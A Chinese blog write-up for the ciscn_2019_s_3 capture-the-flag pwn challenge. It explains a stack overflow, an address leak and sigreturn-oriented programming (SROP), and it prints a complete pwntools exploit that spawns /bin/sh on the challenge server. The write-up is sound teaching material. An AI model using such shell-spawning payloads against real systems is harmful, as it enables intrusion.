ciscn_2019_s_3(SROP)

文章介绍了如何利用ida分析程序中的栈溢出漏洞,通过sys_rt_sigreturn系统调用和构造SigreturnFrame来执行SROP攻击,最终达到执行/bin/sh的目的。作者首先确定了溢出长度和返回地址,然后动态调试获取/bin/sh的地址,最后构建payload实现控制流程。
摘要由CSDN通过智能技术生成

0x01 分析

ida分析:

vuln:

 

 read存在栈溢出,读入的地方是rsp-10,写入10个字节之后可以直接覆盖到return。0x19-0x0F=10。

 gadgets:

这里需要注意两个地方:mov rax,15 和 mov rax,59。这里涉及到Linux系统调用:

15对应的是sys_rt_sigreturn系统调用;

59对应的是sys_execve系统调用

所以这道题目可以有两种办法来做。

  • 第一种办法是依靠59对应的execve,然后想办法执行execve(“/bin/sh”,0,0)

  • 第二种办法是依靠15对应的sys_rt_sigreturn,借助sigreturn frame来执行execve(“/bin/sh”,0,0)

 我采用第二种方法。

0x02 溢出

gdb动态调试

第一次不要溢出刚好覆盖到返回地址就好,距离binsh位置还未知。

0x00007fffffffdec8 - 0x7fffffffddb0 = 0x118,这个偏移是固定的,那么我们可以通过write函数打印出这个地址,然后减去这个偏移,就能得到/bin/sh的地址

可以将binsh保存在栈中,知道binsh的地址。然后调用SROP,将rax=59,rbx=syscall,rdi=binsh

from pwn import *
context.arch='amd64'
p=remote('node4.buuoj.cn',28790)
#p=process("./ciscn_s_3")
elf=ELF('./ciscn_s_3')

gadget=0x4004DA
syscall=0x400517
vuln=0x4004ED
p.send('a'*0x10+p64(vuln))

binsh=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x118

0x03 SROP

SROP(Sigreturn Oriented Programming),Sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接地调用。

Signal机制在线代操作系统中被使用的非常广泛,例如:1、内核要kill一个进程;2、为进程设置定时器;3、通知进程一些异常事件。

SROP原理

1、内核向某进程发起一个signal,该进程被暂时挂起,进入内核;

2、内核保存该进程的上下文(ucontext save);

3、跳转到signal handler中处理相应的signal;

4、内核恢复之前保存的上下文(ucontext restore);

5、恢复进程执行。

linux下,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈填地址rt_sigreturn,这个地址指向一段代码,调用sigreturn系统调用。

当signal handler执行完之后,ESP/RSP就会指向rt_sigreturn,这样signal handler函数的最后一条指令ret会使得执行流跳转到这段sigreturn代码,执行sigreturn系统调用。

思路:在栈上放好上下文(sigreturn frame),自己调用sigreturn,跳过步骤1、2,通过步骤3、4让内核把我们伪造的上下文恢复到用户进程。实现控制通用寄存器、rip、栈劫持。

Iinux i386下调用sigreturn的代码在vdso中;linux x86_64下我们一般通过调用15号syscall来调用sigreturn。

pwntools中已经集成了对SROP的攻击方法。

frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload="/bin/sh\x00"*2+p64(gadget)+p64(syscall)+str(frame)
p.send(payload)

0x04 完整EXP

from pwn import *
context.arch='amd64'
p=remote('node4.buuoj.cn',28790)
#p=process("./ciscn_s_3")
elf=ELF('./ciscn_s_3')

gadget=0x4004DA
syscall=0x400517
vuln=0x4004ED
p.send('a'*0x10+p64(vuln))

binsh=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x118

frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload="/bin/sh\x00"*2+p64(gadget)+p64(syscall)+str(frame)
p.send(payload)

p.interactive()

0x05 写在最后

参考链接:

http://liul14n.top/2020/03/07/Ciscn-2019-s-3/

【星盟安全】PWN全集,从入门到精通,最通俗易懂的CTF,持续更新中_哔哩哔哩_bilibili

萌新的第一篇博客,有任何错误请指正~

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值